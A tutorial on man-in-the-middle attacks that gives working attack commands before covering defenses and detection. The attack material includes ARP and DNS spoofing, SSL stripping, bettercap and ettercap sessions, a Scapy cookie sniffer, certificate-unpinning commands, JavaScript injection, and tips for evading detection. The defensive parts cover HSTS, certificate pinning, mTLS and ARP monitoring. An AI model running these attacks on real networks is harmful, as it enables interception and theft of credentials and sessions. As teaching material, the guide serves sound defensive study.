Complete guide to understanding, executing, and preventing Man-in-the-Middle attacks
Man-in-the-Middle (MITM) attacks occur when an attacker secretly intercepts and potentially alters communications between two parties who believe they are directly communicating with each other. The attacker positions themselves between the victim and the intended destination, allowing them to:
MITM attacks are particularly dangerous because they are invisible to victims and can compromise even strong authentication:
The attacker must position themselves in the communication path between victim and server:
Normal Communication:
[Client] ←→ [Server]
MITM Attack:
[Client] ←→ [Attacker] ←→ [Server]
↓
[Intercept, Read, Modify]
The attacker sends fake ARP (Address Resolution Protocol) messages to associate their MAC address with the IP of the gateway:
# Using arpspoof (part of dsniff)
# Tell victim that attacker is the gateway
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
# Tell gateway that attacker is the victim
arpspoof -i eth0 -t 192.168.1.1 192.168.1.100
# Enable IP forwarding to relay traffic
echo 1 > /proc/sys/net/ipv4/ip_forward
Attacker creates a fake Wi-Fi hotspot with a legitimate-looking name:
# Create rogue AP with hostapd
hostapd /etc/hostapd/hostapd.conf
# Set up DHCP server
dnsmasq -C /etc/dnsmasq.conf
# All traffic now flows through attacker
Redirect DNS queries to malicious IP addresses:
# Using dnsspoof to redirect all DNS
dnsspoof -i eth0
# Or modify specific domains via hosts file injection
echo "192.168.1.50 bank.com" >> /etc/hosts
Downgrade HTTPS connections to HTTP:
# Using sslstrip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
sslstrip -l 8080
# Victim requests https://bank.com
# Attacker downgrades to http://bank.com for victim
# Maintains https://bank.com to real server
# Victim sees HTTP, thinks it's safe
Present fraudulent certificates to intercept HTTPS traffic:
# Generate fake certificate
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout key.pem
# Use mitmproxy to intercept HTTPS
mitmproxy --mode transparent --showhost
# Or use bettercap
bettercap -iface eth0
> set https.proxy.sslstrip true
> https.proxy on
Victims will see certificate warnings unless the attacker's CA certificate is installed on their device, or they ignore browser warnings.
Steal session cookies to impersonate authenticated users:
# Sniff cookies with Scapy
from scapy.all import *
def packet_handler(packet):
if packet.haslayer(HTTPRequest):
if packet.haslayer(Raw):
load = packet[Raw].load.decode(errors='ignore')
if 'Cookie:' in load:
print(f"[+] Captured Cookie: {load}")
sniff(iface="eth0", prn=packet_handler, filter="tcp port 80")
Intercept SSH connections:
# Redirect SSH traffic to attacker's SSH server
iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222
# Run SSH MITM proxy
ssh-mitm server --remote-host target-server.com
Announce false BGP routes to redirect Internet traffic:
Advanced techniques to bypass HTTP Strict Transport Security:
# Using sslstrip+ (sslstrip2)
# Converts HTTPS links to look-alike HTTP domains
# https://www.bank.com → http://wwww.bank.com (note extra 'w')
# Victim may not notice subtle domain difference
Intercept mobile application traffic:
# Set up proxy with Burp Suite or Charles Proxy
# Install proxy CA certificate on mobile device
# Configure device to use proxy
# Many apps don't properly validate certificates
# or implement certificate pinning poorly
# Using Frida to disable certificate pinning on Android
frida -U -f com.example.app -l ssl-unpinning.js --no-pause
# Using objection
objection --gadget com.example.app explore
> android sslpinning disable
Social engineering to install attacker's CA certificate:
# Only intercept specific domains or content types
# Let encrypted banking traffic pass through
# Reduces detection while still capturing credentials
# Make proxy completely transparent
# Don't modify headers, timing, or content unnecessarily
# Harder to detect via network analysis
Match original server response times:
# Measure original latency
# Add artificial delays to match
# Prevents detection via timing analysis
HSTS only protects after first successful HTTPS connection:
# Intercept victim's first visit to site
# HSTS not yet enabled in browser
# Strip HTTPS on first connection
# Subsequent connections already compromised
# Manipulate victim's system time
# Make HSTS policies appear expired
# Requires additional attack vectors
✅ THE PRIMARY DEFENSE
# Enforce HTTPS in web server configuration
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl http2;
server_name example.com;
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
# Modern SSL configuration
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
}
Force browsers to always use HTTPS:
# Python Flask
from flask import Flask
app = Flask(__name__)
@app.after_request
def set_hsts(response):
response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains; preload'
return response
# Nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
Submit your domain to the HSTS preload list - browsers will NEVER attempt HTTP connections, even on first visit.
Hard-code expected certificate or public key in application:
# Python with certificate pinning
import ssl
import certifi
import urllib.request
# Pin specific certificate fingerprint
EXPECTED_FINGERPRINT = "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
def verify_cert(cert, hostname):
import hashlib
import base64
der_cert = ssl.DER_cert_to_PEM_cert(cert)
fingerprint = hashlib.sha256(der_cert.encode()).digest()
fingerprint_b64 = base64.b64encode(fingerprint).decode()
if f"sha256/{fingerprint_b64}" != EXPECTED_FINGERPRINT:
raise Exception("Certificate pinning validation failed!")
// Android certificate pinning with OkHttp
CertificatePinner certificatePinner = new CertificatePinner.Builder()
.add("example.com", "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")
.build();
OkHttpClient client = new OkHttpClient.Builder()
.certificatePinner(certificatePinner)
.build();
Both client and server authenticate with certificates:
# Nginx mTLS configuration
server {
listen 443 ssl;
ssl_certificate /path/to/server-cert.pem;
ssl_certificate_key /path/to/server-key.pem;
# Require client certificate
ssl_client_certificate /path/to/ca-cert.pem;
ssl_verify_client on;
}
Use VPN on untrusted networks:
# Python: Validate SSL certificates
import requests
# ✅ GOOD: Verify SSL certificates
response = requests.get('https://example.com', verify=True)
# ❌ BAD: Disable SSL verification
response = requests.get('https://example.com', verify=False) # NEVER DO THIS!
// JavaScript: Use secure WebSocket connections
// ✅ GOOD: Use wss:// (WebSocket Secure)
const socket = new WebSocket('wss://example.com/socket');
// ❌ BAD: Use ws:// (unencrypted)
const socket = new WebSocket('ws://example.com/socket');
# Comprehensive security headers
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Content-Security-Policy "default-src 'self' https:" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# Check certificate details
openssl s_client -connect example.com:443 -showcerts
# Verify certificate fingerprint
openssl s_client -connect example.com:443 | openssl x509 -fingerprint -noout
# Check certificate chain
curl -v https://example.com 2>&1 | grep -A 10 "certificate"
# Monitor ARP table for changes
arp -a
# Check for duplicate MAC addresses
arp -a | sort -k 4
# Continuous monitoring
watch -n 1 'arp -a'
# Check DNS responses
dig example.com
# Compare with known good DNS
dig @8.8.8.8 example.com
dig @1.1.1.1 example.com
# Check for DNS spoofing
nslookup example.com
# Capture and analyze traffic with tcpdump
tcpdump -i eth0 -n -vvv
# Look for suspicious patterns
tcpdump -i eth0 'port 80 or port 443'
# Check for SSL/TLS stripping
tcpdump -i eth0 -A 'port 80' | grep -i "cookie\|authorization"
Comprehensive MITM framework:
# GUI mode
ettercap -G
# Command-line MITM between two hosts
ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//
# Sniff passwords
ettercap -Tq -i eth0
Modern, powerful MITM framework:
# Start bettercap
bettercap -iface eth0
# Inside bettercap console:
> net.probe on
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> net.sniff on
> set https.proxy.sslstrip true
> https.proxy on
Packet analysis:
# Basic MITM with credential harvesting
mitmf --arp --spoof --gateway 192.168.1.1 --target 192.168.1.100 -i eth0
# With SSL stripping
mitmf --arp --spoof --gateway 192.168.1.1 --target 192.168.1.100 --hsts -i eth0
# Inject JavaScript
mitmf --arp --spoof --gateway 192.168.1.1 --inject --js-payload "alert('MITM')" -i eth0
# ArpON (ARP handler inspection)
arpon -d -i eth0
# XArp - ARP spoofing detection
xarp
# Arpwatch - monitor ARP changes
arpwatch -i eth0
# ARP Spoofing
arpspoof -i eth0 -t [victim_ip] [gateway_ip]
arpspoof -i eth0 -t [gateway_ip] [victim_ip]
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1
# SSL Stripping
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
sslstrip -l 8080
# DNS Spoofing
dnsspoof -i eth0 -f hosts.txt
# Bettercap MITM
bettercap -iface eth0
> net.probe on
> net.sniff on
> arp.spoof on
# mitmproxy
mitmproxy --mode transparent
# Ettercap
ettercap -T -M arp:remote /[gateway]/[victim]/ -i eth0
# Check ARP table
arp -a
ip neighbor show
# Monitor ARP changes
arpwatch -i eth0
# Check certificate
openssl s_client -connect example.com:443 -showcerts
# Verify DNS
dig example.com
nslookup example.com
# Capture suspicious traffic
tcpdump -i eth0 -w capture.pcap 'port 80 or port 443'
tshark -i eth0 -Y "http or ssl"
# Check for rogue DHCP servers
nmap --script broadcast-dhcp-discover
# Scan for rogue access points
airodump-ng wlan0mon